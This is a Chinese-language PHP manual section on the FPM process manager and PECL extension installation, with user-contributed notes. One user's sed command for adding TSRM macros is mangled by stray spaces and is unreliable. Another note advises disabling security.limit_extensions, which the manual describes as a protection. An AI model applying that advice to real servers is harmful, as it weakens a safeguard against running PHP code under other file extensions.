FastCGI 进程管理器（FPM）

Table of Contents

  • 安装
  • 配置

FPM（FastCGI 进程管理器）是 PHP FastCGI 的主要实现，包含大部分对高负载网站有用的功能。

它的功能包括：

  • 支持平滑停止/启动的高级进程管理功能；

  • 进程池可以工作于不同的 uid/gid/chroot 环境下，并监听不同的端口和使用不同的 php.ini 配置文件（可取代 safe_mode 的设置）；

  • 可配置的 stdout 和 stderr 日志记录;

  • 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode;

  • 文件上传优化支持;

  • "慢日志" - 记录脚本（不仅记录文件名，还记录 PHP backtrace 信息，可以使用 ptrace 或者类似工具读取和分析远程进程的运行数据）运行所导致的异常缓慢;

  • fastcgi_finish_request() - 特殊功能：用于在请求完成和刷新数据后，继续在后台执行耗时的工作（录入视频转换、统计处理等）；

  • 动态（dynamic）/按需（ondemand）/静态（static）子进程产生；

  • 基础和扩展运行状态信息（类似 Apache 的 mod_status），支持各种格式，如： json， xml 和 openmetrics；

  • 基于 php.ini 的配置文件。

User Contributed Notes

&#34;atesin&#34; at the free google mail service 13-Oct-2023 03:13
in response to "dreamcat4 at gmail dot com" about enabling logs in php-fpm

i *hate* going blind, so enabling logs is generally the first thing i do...

by doing dreamcat4 suggestion, logs got enabled but mixed with php process logs ... instead doing that and to isolate logs from [www] worker pool in its own file, these directives worked for me in "www" worker .ini file (you have to set directories and permissions before)

php_admin_flag[log_errors] = on
php_admin_value[error_log] = /var/log/php-fpm/www-error.log
&#34;atesin&#34; at the free google mail service 13-Oct-2023 03:04
in response to "ikrabbe dot ask at gmail dot com" about SCRIPT_NAME and PATH_INFO being empty, this could be related...

while configuring php-fpm with nginx in debian (actually raspberry pi), a comment line in .conf grabbed my attention

there is a "feature" (that looks more like a bug) reported about 10 years ago in http://trac.nginx.org/nginx/ticket/321 ... in which "try_files" could reset the contents of $fastcgi_script_name and $fastcgi_path_info ... this is a workaround mentioned in forums by user "zakaria"

<?php /* not actual php code but nginx .conf */
location ~ [^/]\.php(/|$)
{
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
# Save the $fastcgi_path_info before try_files clear it
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
try_files $fastcgi_script_name =404;

fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
?>
jpmkn.iki.fi 11-Jun-2023 09:56
@ ikrabbe you might want to look at mod_rewrite to address the environment variable variation(!) between cgi and cli php.
info at f1-outsourcing dot eu 08-Apr-2019 10:22
It looks like the php-fpm daemon is not able to use its groups it is running with.

https://bugs.php.net/bug.php?id=77837
ikrabbe dot ask at gmail dot com 28-Feb-2018 11:45
I'm very unhappy with the way php-fpm handles requests.
There isn't even some SCRIPT_FILENAME in the RFC for CGI, an that's the only standard I found to handle the requests.

Actually what you are doing with PATH_TRANSLATED is supposed to translate to the path, which is broken by media wikis, as they use the PATH_INFO to find the ressource, not some script.

In the original CGI context, the PATH_INFO is passed to the CGI binary to specify some ressource argument. So actually

    SCRIPT_NAME  ~ argv0
    PATH_INFO      ~ argv1

in command context.

Conclusion: We should rewrite php-fpm to obey the rfc3875 CGI standard.
Having SCRIPT_NAME pointing to /something.php, must translate to

    CWD/something.php

CWD is the working directory where php-fpm is started (or configured to change to).

In case of chroot CWD = "".

In any case the SCRIPT_NAME php script can be found with ./SCRIPT_NAME, from the CWD. So the undocumented not standardized SCRIPT_FILENAME should vanish! It breaks the CGI standard.
ganlvtech at qq dot com 21-Nov-2017 09:23
php-fpm is not avaliable on Windows, but you can use IIS or Apache as the "fastcgi process manager".

If you have to use Nginx, here is a solution. Nginx provides a load balancing module. We can distribute the request to different php-cgi.exe process.

<http://nginx.org/en/docs/http/load_balancing.html>
<http://nginx.org/en/docs/http/ngx_http_upstream_module.html>

This is the origin nginx conf.
```
location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

You can replace it by
```
upstream php {
    server  127.0.0.1:9000;
    server  127.0.0.1:9001;
    server  127.0.0.1:9002;
    server  127.0.0.1:9003;
}

location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  php;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

CAUTION!!

php-cgi.exe process will die after several requests, so you have to restart the php-cgi.exe manually to keep a process listening the port.

DON'T USE THIS SOLUTION IN PRODUCTION!!
user at NOSPAM dot example dot com 04-Oct-2017 06:15
It is important to note that FPM is not built with the windows binaries.  Many of the guides you may find online rely on php-cgi.exe.  Unfortunately they call it FPM but this is incorrect!

The executable php-cgi.exe that is bundled with the windows binaries is a FastCGI interface but it is *not* FPM (Fastcgi Process Manager).  php-cgi.exe does not have multi-threading or concurrent request support, nor support for any of the FPM configuration options.

The only solid information I've gathered into why FPM is not available is a bug report explaining that FPM is built around fork(), which is not natively available on windows (https://bugs.php.net/bug.php?id=62447).
dreamcat4 at gmail dot com 16-May-2014 03:17
Doesn't work? Enable logging!

The php-fpm.log file is a great place to fault-find errors and get to the bottom of a problem. But be sure to enable logging for your specific worker pool. Or you won't see anything!

Example:

To enable error logging for the default [www] worker pool, add this line in the [www] section of your php-fpm.conf:

[www]
catch_workers_output = yes
kokushibyou at gmail dot com 25-Apr-2013 10:04
PHP-FPM is FAST - but be wary of using it while your code base is stored on NFS - under average load your NFS server will feel some serious strain. I have yet to find a work around for this bug: https://bugs.php.net/bug.php?id=52312
joel k 30-Jun-2011 12:56
the fpm process supports the USER2 signal, which is used to reload the config file.

kill -USR2 [pid]

should do the trick.
robin at robinwinslow dot co dot uk 12-Dec-2010 10:05
Init script setup
===

You will probably want to create an init script for your new php-fpm. Fortunately, PHP 5.3.3 provides one for you, which you should copy to your init directory and change permissions:

$ cp <php-5.3.3-source-dir>/sapi/fpm/init.d.php-fpm.in /etc/init.d/php-fpm
$ chmod 755 /etc/init.d/php-fpm

It requires a certain amount of setup. First of all, make sure your php-fpm.conf file is set up to  create a PID file when php-fpm starts. E.g.:
----
pid = /var/run/php-fpm.pid
----
(also make sure your php-fpm user has permission to create this file).

Now open up your new init script (/etc/init.d/php-fpm) and set the variables at the top to their relevant values. E.g.:
---
prefix=
exec_prefix=
php_fpm_BIN=/sbin/php-fpm
php_fpm_CONF=/etc/php-fpm.conf
php_fpm_PID=/var/run/php-fpm.pid
---

Your init script is now ready. You should now be able to start, stop and reload php-fpm:

$ /etc/init.d/php-fpm start
$ /etc/init.d/php-fpm stop
$ /etc/init.d/php-fpm reload

The one remaining thing you may wish to do is to add your new php-fpm init script to system start-up. E.g. in CentOS:

$ /sbin/chkconfig php-fpm on

===========

Disclaimer: Although I did just do this on my own server about 20 mins ago, everything I've written here is off the top of my head, so it may not be 100% correct. Also, allow for differences in system setup. Some understanding of what you are doing is assumed.


安装

从源代码编译

编译 PHP 时需要 --enable-fpm 配置选项来激活 FPM 支持。

以下为 FPM 编译的具体配置参数（全部为可选参数）：

  • --with-fpm-user - 设置 FPM 运行的用户身份（默认 - nobody）。

  • --with-fpm-group - 设置 FPM 运行时的用户组（默认 - nobody）。

  • --with-fpm-systemd - 启用 systemd 集成 (默认 - no)。

  • --with-fpm-acl - 使用 POSIX 访问控制列表 (默认 - no)。

  • --with-fpm-apparmor - 激活 AppArmor 集成 (默认 - no)。

  • --with-fpm-selinux - 激活 SELinux 集成（默认 - no）。

更新日志

版本 | 说明
8.2.0 | 新增 --with-fpm-selinux 选项。
8.0.0 | 新增 --with-fpm-apparmor 选项。

User Contributed Notes

There are no user contributed notes for this page.


配置

FPM 使用类似 php.ini 语法的 php-fpm.conf 和进程池配置文件。

php-fpm.conf 全局配置段

pid string

PID 文件的位置。默认为空。

error_log string

错误日志的位置。默认：#INSTALL_PREFIX#/log/php-fpm.log。 如果设置为 "syslog"，日志将不会写入本地文件，而是发送到 syslogd。

log_level string

错误级别。可用级别为：alert（必须立即处理），error（错误情况），warning（警告情况），notice（一般重要信息），debug（调试信息）。默认：notice。

log_limit int

日志记录行的限制，允许记录超过 1024 个字符的消息而不需要换行。 默认值：1024。 PHP 7.3.0 起可用。

log_buffering bool

实验性：没有额外缓冲的日志记录。 默认值：yes。 PHP 7.3.0 后可用。

syslog.facility string

设置何种程序记录消息，默认值：daemon。

syslog.ident string

为每条信息添加前缀。 如果在同一台服务器上运行了多个 FPM 实例，可以修改此默认值来满足需求。默认值：php-fpm。

emergency_restart_threshold int

如果子进程在 emergency_restart_interval 设定的时间内收到该参数设定次数的 SIGSEGV 或者 SIGBUS退出信息号，则FPM会重新启动。0 表示"关闭该功能"。默认值：0（关闭）。

emergency_restart_interval mixed

emergency_restart_interval 用于设定平滑重启的间隔时间。这么做有助于解决加速器中共享内存的使用问题。可用单位：s（秒），m（分），h（小时）或者 d（天）。默认单位：s（秒）。默认值：0（关闭）。

process_control_timeout mixed

设置子进程接受主进程复用信号的超时时间。可用单位：s（秒），m（分），h（小时）或者 d（天）。默认单位：s（秒）。默认值：0（关闭）。

process.max int

Fork 的最大 FPM 进程数。使用动态管理进程数时，此设计可以控制在一个进程池内的全局进程数量。 使用需谨慎。默认值：0。

process.priority int

设置 master 进程的 nice(2) 优先级（如果设置了此值）。 可以是 -19（最高优先级）到 20 （更低优先级）。 默认值：不设置。

daemonize bool

设置 FPM 在后台运行。设置"no"将 FPM 保持在前台运行用于调试。默认值：yes。

rlimit_files int

设置 master 进程的打开文件描述符 rlimit 数。 默认值：系统定义值。

rlimit_core int

设置 master 进程最大 core 的 rlimit 尺寸。 默认值：0。

events.mechanism string

设置 FPM 使用的事件机制。 可用以下选项：select、pool、epoll、kqueue (*BSD)、port (Solaris)。 默认值：不设置（自动检测）

systemd_interval int

使用 systemd 集成的 FPM 时，设置间歇秒数，报告健在通知给 systemd。 设置为 0 表示禁用。默认值：10。

运行配置区段

在FPM中，可以使用不同的设置来运行多个进程池。 这些设置可以针对每个进程池单独设置。

listen string

设置接受 FastCGI 请求的地址。可用格式为：'ip:port'，'port'，'/path/to/unix/socket'。每个进程池都需要设置。

listen.backlog int

设置 listen(2) backlog 的值。在 BSD 系统上 -1 表示无限制。默认值：-1（FreeBSD 或 OpenBSD）或者 511（Linux 或其他平台）。

listen.allowed_clients string

设置允许连接到 FastCGI 客户端的 IPv4 或 IPv6 地址列表。等同于 PHP FastCGI (5.2.2+) 中的 FCGI_WEB_SERVER_ADDRS 环境变量。仅对 TCP 监听起作用。每个地址是用逗号分隔，如果没有设置或者为空，则允许任何服务器请求连接。默认值：未设置（接受任何 IP 地址）。

listen.owner string

如果使用了 Unix 套接字，表示它的权限。在 Linux 中必须设置读/写权限，以便用于 WEB 服务器连接。 在很多 BSD 派生的系统中可以忽略权限允许自由连接。 默认值：运行所使用的用户和组，权限为 0660。

listen.group string

参见 listen.owner。

listen.mode string

参见 listen.owner。

listen.acl_users string

当系统支持 POSIX ACL（Access Control Lists）时，可以设置使用此选项。 当设置了的时候，将会忽略 listen.owner 和 listen.group。 值是逗号分割的用户名列表。

listen.acl_groups string

参见 listen.acl_users。 值是逗号分割的用户组名称列表。

user string

FPM 进程运行的Unix用户。必须设置。

group string

FPM 进程运行的 Unix 用户组。如果不设置，就使用默认用户的用户组。

pm string

设置进程管理器如何管理子进程。可用值：static，ondemand，dynamic。必须设置。

static - 子进程的数量是固定的（pm.max_children）。

ondemand - 进程在有需求时才产生（当请求时才启动。与 dynamic 相反，在服务启动时 pm.start_servers 就启动了。

dynamic - 子进程的数量在下面配置的基础上动态设置：pm.max_children，pm.start_servers，pm.min_spare_servers，pm.max_spare_servers。

pm.max_children int

pm 设置为 static 时表示创建的子进程的数量，pm 设置为 dynamic 时表示最大可创建的子进程的数量。必须设置。

该选项设置可以同时提供服务的请求数限制。类似 Apache 的 mpm_prefork 中 MaxClients 的设置和 普通PHP FastCGI中的 PHP_FCGI_CHILDREN 环境变量。

pm.start_servers in

设置启动时创建的子进程数目。仅在 pm 设置为 dynamic 时使用。默认值：min_spare_servers + (max_spare_servers - min_spare_servers) / 2。

pm.min_spare_servers int

设置空闲服务进程的最低数目。仅在 pm 设置为 dynamic 时使用。必须设置。

pm.max_spare_servers int

设置空闲服务进程的最大数目。仅在 pm 设置为 dynamic 时使用。必须设置。

pm.max_spawn_rate int

同时生成子进程的速率。仅当 pm 设置为 dynamic 时使用。默认值： 32

pm.process_idle_timeout mixed

秒数，多久之后结束空闲进程。 仅当设置 pm 为 ondemand。 可用单位：s（秒），m（分），h（小时）或者 d（天）。默认单位：10s。

pm.max_requests int

设置每个子进程重生之前服务的请求数。对于可能存在内存泄漏的第三方模块来说是非常有用的。如果设置为 '0' 则一直接受请求，等同于 PHP_FCGI_MAX_REQUESTS 环境变量。默认值：0。

pm.status_listen string

接受 FastCGI 状态请求的地址。会创建一个新不可见池用来独立处理请求。如果主池处理长时间运行的请求时很繁忙， 那么对长时间运行的请求结束之前能够获得 FPM 状态页面会非常有用。语法与 listen 指令相同。默认值：none。

pm.status_path string

查看 FPM 状态页面的 URI。此值必须以斜线（/）开头。如果没有设置，则无法访问状态页面，默认值：无。

ping.path string

FPM 监控页面的 ping 网址。如果没有设置，则无法访问 ping 页面。该页面用于外部检测 FPM 是否存活并且可以响应请求。请注意必须以斜线开头（/）。

ping.response string

用于定义 ping 请求的返回响应。返回为 HTTP 200 的 text/plain 格式文本。默认值：pong。

process.priority int

设置 worker 的 nice(2)优先级（如果设置了的话）。 该值从 -19（最高优先级） 到 20（更低优先级）。 默认值：不设置

process.dumpable bool

即使进程用户或者组跟主进程用户是不同的，也设置进程可转储标志 (PR_SET_DUMPABLE prctl)。 它允许为用户池创建进程 core dump 和 ptrace 进程。 默认值：no。自 PHP 7.0.29、7.1.17 和 7.2.5 起可用。

prefix string

检测路径时使用的前缀。

request_terminate_timeout mixed

设置单个请求的超时中止时间。该选项可能会对 php.ini 设置中的 'max_execution_time' 因为某些特殊原因没有中止运行的脚本有用。设置为 '0' 表示 'Off'。可用单位：s（秒），m（分），h（小时）或者 d（天）。默认单位：s（秒）。默认值：0（关闭）。

request_terminate_timeout_track_finished bool

在 fastcgi_finish_request 之后或当应用程序结束且调用内部关闭命令时，不会使用通过 request_terminate_timeout 设置的超时时间。但即使在这种情况下，该指令也可以无条件应用超时限制。默认值：no。自 PHP 7.3.0 启用。

request_slowlog_timeout mixed

当一个请求该设置的超时时间后，就会将对应的 PHP 调用堆栈信息完整写入到慢日志中。设置为 '0' 表示 'Off'。可用单位：s（秒），m（分），h（小时）或者 d（天）。默认单位：s（秒）。默认值：0（关闭）。

request_slowlog_trace_depth int

slowlog 日志堆栈追踪的深度。默认值：20。自 PHP 7.2.0 起可用。

slowlog string

慢请求的记录日志。默认值：#INSTALL_PREFIX#/log/php-fpm.log.slow。

rlimit_files int

设置文件打开描述符的 rlimit 限制。默认值：系统定义值。

rlimit_core int

设置核心 rlimit 最大限制值。可用值：'unlimited'，0 或者正整数。默认值：系统定义值。

chroot string

启动时的 Chroot 目录。所定义的目录需要是绝对路径。如果没有设置，则 chroot 不被使用。

chdir string

设置启动目录，启动时会自动 Chdir 到该目录。所定义的目录需要是绝对路径。默认值：当前目录，或者根目录（chroot时）。

catch_workers_output bool

重定向运行过程中的 stdout 和 stderr 到主要的错误日志文件中。如果没有设置，stdout 和 stderr 将会根据 FastCGI 的规则被重定向到 /dev/null。默认值：无。

decorate_workers_output bool

当 catch_workers_output 启用时， 为 worker 输出启用输出装饰。 默认值：yes。 自 PHP 7.3.0 起可用。

clear_env bool

为 FPM worker 进程清除环境变量。 在进程池配置文件里设置环境变量前，阻止任意系统的环境变量进入 FPM worker 进程。 默认值：Yes

security.limit_extensions string

限制 FPM 允许解析的脚本扩展名。 此设置可以预防 web 服务器配置的错误。 应当限制 FPM 仅仅解析 .php 扩展名，阻止恶意用户使用其他扩展名运行 php 代码。 默认值： .php .phar

apparmor_hat string

如果启用 AppArmor，允许更换帽子（hat）。 默认值：未设置

access.log string

Access log 文件。 默认值：不设置

access.format string

access log 的格式。 默认: "%R - %u %t \"%m %r\" %s"：

可用选项
占位符 | 描述
%C | %CPU
%d | 持续时间 μs
%e | fastcgi 环境变量
%f | 脚本文件
%l | 内容长度
%m | 请求方法
%M | 内存
%n | 进程池（pool）名称
%o | header 输出
%p | PID
%q | 查询字符串
%Q | %q 和 %r 之间的连接字符
%r | 请求 URI
%R | 远程 IP 地址
%s | 状态码
%T | 时间
%t | 时间
%u | 远程用户

还可以在为一个运行池传递附加的环境变量，或者更新 PHP 的配置值。可以在进程池配置文件中如下面的配置参数来做到：

Example #1 给运行池传递环境变量和设置 PHP 的配置值

env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M
PHP配置值通过 php_value 或者 php_flag 设置，并且会覆盖以前的值。请注意 disable_functions 或者 disable_classes 在 php.ini 之中定义的值不会被覆盖掉，但是会将新的设置附加在原有值的后面。

使用 php_admin_value 或者 php_admin_flag 定义的值，不能被 PHP 代码中的 ini_set() 覆盖。

可以通过 web 服务器设置 PHP 的设定。

Example #2 在 nginx.conf 中设定 PHP

set $php_value "pcre.backtrack_limit=424242";
set $php_value "$php_value \n pcre.recursion_limit=99999";
fastcgi_param  PHP_VALUE $php_value;

fastcgi_param  PHP_ADMIN_VALUE "open_basedir=/var/www/htdocs";
Caution

由于这些设定是以 FastCGI 标头传递给 php-fpm，php-fpm 不应绑定到外部网可以访问的地址上，否则任何人都能修改 PHP 的配置选项了。参见 listen.allowed_clients。

Note: 进程池不是种安全机制，因为它们不会完全隔离；例如：所有的进程池会使用单个 Opcache 实例。

User Contributed Notes

jon dot phpnetdonotspam at langevin dot me 08-Dec-2022 10:44
PHP-FPM configuration page apparently doesn't see the need to specify what options are available with each version of PHP.

It claims that pm.status_listen is a valid directive, but that directive only exists as of php 8.0.0, which is a bummer for those of us still using PHP 7.4.

Noting this for anyone else fighting with this.
antonfedonyuk at gmail dot com 13-Sep-2021 10:01
; The access log format.
; The following syntax is allowed
;  %%: the '%' character
;  %C: %CPU used by the request
;      it can accept the following format:
;      - %{user}C for user CPU only
;      - %{system}C for system CPU only
;      - %{total}C  for user + system CPU (default)
;  %d: time taken to serve the request
;      it can accept the following format:
;      - %{seconds}d (default)
;      - %{milliseconds}d
;      - %{milli}d
;      - %{microseconds}d
;      - %{micro}d
;  %e: an environment variable (same as $_ENV or $_SERVER)
;      it must be associated with embraces to specify the name of the env
;      variable. Some examples:
;      - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e
;      - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e
;  %f: script filename
;  %l: content-length of the request (for POST request only)
;  %m: request method
;  %M: peak of memory allocated by PHP
;      it can accept the following format:
;      - %{bytes}M (default)
;      - %{kilobytes}M
;      - %{kilo}M
;      - %{megabytes}M
;      - %{mega}M
;  %n: pool name
;  %o: output header
;      it must be associated with embraces to specify the name of the header:
;      - %{Content-Type}o
;      - %{X-Powered-By}o
;      - %{Transfert-Encoding}o
;      - ....
;  %p: PID of the child that serviced the request
;  %P: PID of the parent of the child that serviced the request
;  %q: the query string
;  %Q: the '?' character if query string exists
;  %r: the request URI (without the query string, see %q and %Q)
;  %R: remote IP address
;  %s: status (response code)
;  %t: server time the request was received
;      it can accept a strftime(3) format:
;      %d/%b/%Y:%H:%M:%S %z (default)
;      The strftime(3) format must be encapsulated in a %{<strftime_format>}t tag
;      e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t
;  %T: time the log has been written (the request has finished)
;      it can accept a strftime(3) format:
;      %d/%b/%Y:%H:%M:%S %z (default)
;      The strftime(3) format must be encapsulated in a %{<strftime_format>}t tag
;      e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t
;  %u: remote user
;
; Default: "%R - %u %t \"%m %r\" %s"
access.format = "%R - %u %t \"%m %r%Q%q\" %s %f %{milli}d %{kilo}M %C%%"

https://github.com/php/php-src/blob/master/sapi/fpm/www.conf.in#L257-L318
antonfedonyuk at gmail dot com 13-Sep-2021 09:38
NOTE: "access.format" containing "%o" generate error in PHP 7.4 (don't tested in other versions)
rob at librobert dot net 18-Apr-2021 12:11
Correction for my previous note...

I wrote "The 'index' directive that is used in php-fpm.conf".

But obviously I meant "The 'include' directive"...
rob at librobert dot net 18-Apr-2021 11:53
The 'index' directive that is used in php-fpm.conf is not documented here. However, this directive can also be used in the pool configurations. In the included file, the $pool variable is substituted correctly.

This means that, if you have multiple pools with similar configurations, you can create a file 'default-values.inc' like so:

-----
listen.allowed_clients = 127.0.0.1

pm = dynamic
pm.max_children = X
pm.min_spare_servers = X
pm.max_spare_servers = X

access.log = /var/log/php-fpm/$pool.access
access.format = "%R %u [%t] \"%m %r\" %s %d %l"
slowlog = /var/log/php-fpm/$pool.slow

php_flag[short_open_tag] = off
-----

And then include that file in each pool configuration like so:

-----
[vhost1.example.com]
user = www-vhost1
group = www-vhost1

listen = 127.0.0.1:9001

include = /usr/local/etc/php-fpm.d/default-values.inc
-----

This makes things a bit more transparent, and it could potentially save some time if you decide to change settings.

Make sure the name of the included file does not end in '.conf', because all files with that extension are loaded from php-fpm.conf.
david dot cancalon at proxeem dot fr 09-Nov-2020 04:08
Be very carrefull when using ProxyFCGISetEnvIf within a Apache virtual host configuration using a shared PHP-FPM pool. Values defined like this are shared across all the Apache virtual hosts within a pool worker, may resulting in strange behaviours depending on the requests chronology.

See full explanation here:
https://serverfault.com/questions/817020/stop-reusing-php-value-for-different-sites-with-php-fpm/817905#817905
frederic at juliana-multimedia dot com 12-Nov-2018 01:21
With Apache, mod_proxy_fcgi and php-fpm, if you want to have a generic pool and several vhost with different php configuration, you can use the ProxyFCGISetEnvIf directive and the PHP_ADMIN_VALUE environment variable. It does not work with PHP_ADMIN_FLAG even for boolean directives.

PHP directives must be separated by spaces and a \n.

ProxyFCGISetEnvIf "true" PHP_ADMIN_VALUE "open_basedir=/var/www/toto/:/tmp/ \n session.save_path=/var/www/toto/session \n display_errors=On \n error_reporting=-1"
ikrabbe 28-Feb-2018 09:52
It seems there is no way to get informed about the access log format codes that are used or can be used. All I found is the source code.

It would really help, not to have open questions when deploying php-fpm. I constantly struggle with file paths for example, but that is another topic.

                                case '%': /* '%' */
                                case 'C': /* %CPU */
                                case 'd': /* duration μs */
                                case 'e': /* fastcgi env  */
                                case 'f': /* script */
                                case 'l': /* content length */
                                case 'm': /* method */
                                case 'M': /* memory */
                                case 'n': /* pool name */
                                case 'o': /* header output  */
                                case 'p': /* PID */
                                case 'P': /* PID */
                                case 'q': /* query_string */
                                case 'Q': /* '?' */
                                case 'r': /* request URI */
                                case 'R': /* remote IP address */
                                case 's': /* status */
                                case 'T':
                                case 't': /* time */
                                case 'u': /* remote user */
mb 07-Apr-2015 11:52
If you need to disable security.limit_extensions variable, simply set the variable to FALSE like so:

security.limit_extensions = FALSE
gadnet at aqueos dot com 06-May-2014 02:24
the doc is lacking a lot of things it seems.

  The php fpm exemple config file indicate different thing, more option etc... I wonder why the main documentation is less verbose that the configuration file that user can have .. or not have ?
Yousef Ismaeil Cliprz 23-Jan-2014 02:03
Check if fastCGI enabled

<?php
// You can use isset or is_null for $_SERVER['FCGI_SERVER_VERSION']
function isFastCGI () {
    return !is_null($_SERVER['FCGI_SERVER_VERSION']);
}

?>
sroussey at gmail dot com 18-Feb-2013 12:15
Starting in 5.3.9 the security.limit_extensions configuration item has been added and it defaults to .php. If you need to execute other extensions, you have to change this setting.
Frank DENIS 29-May-2011 11:23
The default value for listen.backlog isn't exactly "unlimited".

It's 128 on some operating systems, and -1 (which doesn't mean "unlimited" as well, but is an alias to a hard limit) on other systems.

Check for a sysctl value like kern.somaxconn (OpenBSD) or net.core.somaxconn (Linux).

Crank it up if you need more PHP workers than the default value. Then adjust listen.backlog in your php-fpm configuration file to the same value.

-Frank.


PECL 扩展安装

Table of Contents

  • PECL 安装介绍
  • 下载 PECL 扩展库
  • 在 Windows 上安装 PHP 扩展
  • 用 PEAR 编译共享 PECL 扩展库
  • 用 phpize 编译共享 PECL 扩展库
  • php-config
  • 将 PECL 扩展库静态编译入 PHP

User Contributed Notes

Boruta.info 14-Jan-2021 04:04
I was able to run it on Ubuntu + PHP 8.0. Currently newest version 0.5.0 is not adapted to PHP 8.0, although it seems to work. You have to download the source version and compile it manually (based on https://www.php.net/manual/en/install.pecl.phpize.php), but you will probably get compilation errors. In my case, there were a few minor bugs due to the missing `;` at the end of the return statement. There were also errors related to the removal of TSRM from PHP 8, but it was enough to add macros to the `.c` files.

May be useful (adds macros to the first line of all `.c` files in the current directory):

sed -i '1s / ^ / \ # ifndef \ TSRMLS_D \ n \ #define \ TSRMLS_D \ void \ n \ #define \ TSRMLS_DC \ n \ #define \ TSRMLS_C \ n \ #define \ TSRMLS_CC \ n \ #define \ TSRMLS_FETCH \ (\) \ n \ #endif \ n / '* .c


PECL 安装介绍

» PECL 通过 » PEAR 打包系统来的 PHP 扩展库仓库，本章内容示范了怎样取得并安装 PECL 扩展。

以下指南中假设 /path/to/php/src/dir 是 PHP 源代码发布包的路径，extname 是 PECL 扩展库的名字。自己根据实际情况调整。此外还假设用户熟悉 » pear 命令。PEAR 手册里 pear 命令的信息同样适用于 pecl。

共享扩展库必须经过编译、安装和加载才能使用。以下说明的方法提供了怎样编译和安装扩展库的各种指导，但并不会自动加载它们。可以通过将其包括在 php.ini 中用 extension PHP 指令加载，或者 用 dl() 函数。

当编译 PHP 模块时，拥有各种工具（autoconf、automake、libtool 等）的已知好使的版本很重要。所需工具和所需版本的详情见» 匿名 Git 说明。

User Contributed Notes

There are no user contributed notes for this page.


下载 PECL 扩展库

下载 PECL 扩展库有几种方法，如：

  • pecl install extname 命令会自动下载扩展代码，所以在这种情况下不需要再次下载。
  • » https://pecl.php.net/ PECL 网站包括有 PHP 开发组提供的不同扩展库的信息。这里的信息包括：更新记录、版本说明、需求以及其它信息。
  • pecl download extname PECL 网站中列出的 PECL 扩展库的发行版本可以用 » pear 命令 来下载和安装。也可以指定具体的修订版本。
  • git Github 上有很多 PECL 扩展。
  • SVN 部分 PECL 扩展库也在 SVN 中。其 web 页面见 » https://svn.php.net/pecl/。要直接从 SVN 中下载，用以下命令：

    $ svn checkout https://svn.php.net/repository/pecl/extname/trunk extname

  • Windows 下载 PHP 项目在 package 页面上编译并提供大多数 PECL 扩展的 Windows DLL 文件。

User Contributed Notes

There are no user contributed notes for this page.


在 Windows 上安装 PHP 扩展

在 Windows 上有两种加载 PHP 扩展的方式：把扩展编译进 PHP，或者加载 DLL。加载预编译的扩展是更简单更被推荐的方式。

要加载扩展，需要在系统中有可用的 .dll 文件。所有扩展都会由 PHP 小组定期自动编译（如何下载见下节）。

要将扩展编译入 PHP，请参考从源程序编译文档。

要编译一个独立的扩展（即 DLL 文件），请参考从源程序编译文档。如果在 PHP 发行版和 PCEL 中都没有某 DLL 文件，那可能需要编译之后才能使用该扩展。

去哪里找扩展库？

PHP 扩展库通常称为 php_*.dll（其中星号代表具体某扩展的名字），位于 PHP\ext 目录下。

PHP 发行包中包括了大多数开发者最常用到的扩展库。称为捆绑扩展库。

不过，如果捆绑扩展没有提供所需的功能，可以在 » PECL 中找到满足需求的扩展。PHP 扩展社区库（PHP Extension Community Library 简称 PECL）是个 PHP 扩展的储存库，提供了对于所有已知扩展目录以及下载及开发 PHP 扩展的托管设施。

如果针对特定用途开发了扩展，则可以将其托管在 PECL 中以便于其他有相同需求的用户使用。这样做的好处就是可以得到其他用户的反馈、感谢、错误报告甚至修复/补丁。不过在向 PECL 提交扩展之前，请先阅读 » PECL 提交指南。

下载哪个扩展？

很多时候，每个 DLL 都有几个版本可供选择：

  • 不同的版本号（至少前两个数字要一致）
  • 不同的线程安全性设定
  • 不同的处理器体系（x86，x64，...)
  • 不同的排错设定
  • 其它

请记住，扩展设置应该与所使用的 PHP 可执行文件的设置相匹配。以下脚本可以显示所有 PHP 设置：

Example #1 调用 phpinfo()

<?php
phpinfo();
?>

或者在命令行运行：

drive:\path\to\php\executable\php.exe -i

载入一个扩展

最常见的方式是在 php.ini 配置文件里包含一个 PHP 扩展。请注意很多扩展已经在 php.ini 里了，仅需要移除分号来激活它们。

需要注意，从 PHP 7.2.0 开始，可以直接用扩展的名称，来替代扩展的文件名。这样配置文件就跟操作系统解耦了，也更容易理解。推荐采用此方式加载扩展。为了与之前的版本保持兼容，直接写扩展名的方式会仍然支持。

;extension=php_extname.dll

extension=php_extname.dll

; 自 PHP 7.2.0 起首选：
extension=extname
zend_extension=another_extension

不过呢，有些 web 服务器会搞混，因为其并不一定使用和 PHP 可执行文件处于同一目录下的 php.ini 文件。要搞清楚具体使用了哪一个 php.ini 文件，在 phpinfo() 的输出中查看：

Configuration File (php.ini) Path  C:\WINDOWS

Loaded Configuration File   C:\Program Files\PHP\8.2\php.ini

激活一个扩展后，保存 php.ini 文件并重启动 web 服务器，然后用 phpinfo() 再次查看确定。新的扩展应该有其自己的一节。

解决问题

如果某扩展并未在 phpinfo() 中显示，应该查看日志以确定问题出在哪里。

如果是在命令行中（CLI）使用 PHP，扩展加载出错信息会直接在屏幕显示。

如果在 web 服务器中使用 PHP，则日志文件的位置与格式各不相同。请阅读所使用的 web 服务器之文档以确定日志文件的位置，这与 PHP 本身并无关系。

最常见的问题是 DLL 和 DLL 依赖的文件的位置，php.ini 中"extension_dir"设置的值，以及编译时的设置不匹配。

